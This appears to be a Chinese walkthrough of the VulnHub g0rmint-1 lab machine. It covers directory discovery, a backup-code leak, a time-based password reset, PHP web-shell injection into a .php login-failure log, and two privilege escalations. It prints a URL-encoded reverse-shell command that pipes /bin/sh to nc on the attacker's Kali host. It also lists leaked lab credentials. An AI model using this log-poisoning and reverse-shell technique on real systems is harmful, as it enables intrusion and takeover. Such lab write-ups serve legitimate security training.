一、靶机下载
下载链接:https://www.vulnhub.com/entry/g0rmint-1,214/
二、g0rmint靶机搭建
将下载好的靶机环境,用VMware导入即可使用,文件->打开
导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可
三、攻击过程
kali IP:192.168.212.6
靶机IP:192.168.212.10
1、主机发现
2、端口扫描
方法一:
方法二:
3、端口服务识别
4、漏洞查找与利用
访问网站
扫描目录
发现
访问
查看页面源码,发现备份目录
使用dirb 扫描http://192.168.212.10/g0rmint/s3cretbackupdirect0ry/,发现http://192.168.212.10/g0rmint/s3cretbackupdirect0ry/info.php
访问http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
下载备份文件
查看网站代码,发现用户名、密码、邮箱,尝试登录失败
查看login.php,发现登录失败的时候会生成一个日志文件(调用addlog函数)
查看addlog函数,发现日志写在.php文件中,尝试在登录邮箱处插入php语句,从而任意执行代码
在登录邮箱处插入php一句话木马,点击提交,登录失败跳转到登录页面
最后发现是fwrite($fh, file_get_contents(“dummy.php”) . “
\n”);写入了一个session判断
所以需要先解决登录的问题。
查看reset.php,可以看到只要知道了一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希,尝试了demo和一些常用邮箱用户名之后,发现似乎并没有这个用户
在全文搜索email关键字, 可以在一个css文件中看到用户的名字和邮箱
成功重置后,界面右下角也给出了对应的时间,遂能算出相应的哈希值,使用在线的hash加密,去加密成功后的hash值前20位最为密码的值
重置密码
访问到生成的log文件,因在代码审计中发现登录失败日志路径
访问http://192.168.212.10/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2020-03-29.php
(由于时间戳原因,日期需提前一天)
在登陆的时候邮箱处插入一句话木马,然后访问对应日志,提交POST参数即可执行任意PHP代码。
然后将shell反弹到我的kali中来
在post中输入:注意需要url编码
cmd=%60rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%20192.168.212.6%201234%20%3E%2Ftmp%2Ff%3B%60%3B
kali监听
提权方式一
查看内核版本
kali查看是否有对应版本的漏洞
在kali编译好脚本,然后目标用wget下载,执行,获得管理员权限
提权方式二
在1的基础上
在/var/www目录下又发现网站备份文件,解压发现db.sql
查看db.sql发现用户noman以及密码
密码解压
用户名/密码:noman/tayyab123
尝试用noman用户登录,失败,发现/etc/passwd中有g0rmint,尝试用noman的密码登录,成功登录进去
用sudo -l 查看当前用户是否属于sudo组,然后sudo -i 直接获得管理员权限
总结
1、信息收集、端口扫描、服务识别
2、目录扫描、发现敏感信息备份文件
3、登录密码的地方暂时突破不了,尝试在重置密码的地方寻找突破口、发现有用信息
4、进行代码审计,发现日志文件的后缀是php文件,这时可以尝试在登录的地方接入一句话,然后就写入到日志中。
5、getshell、提权
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。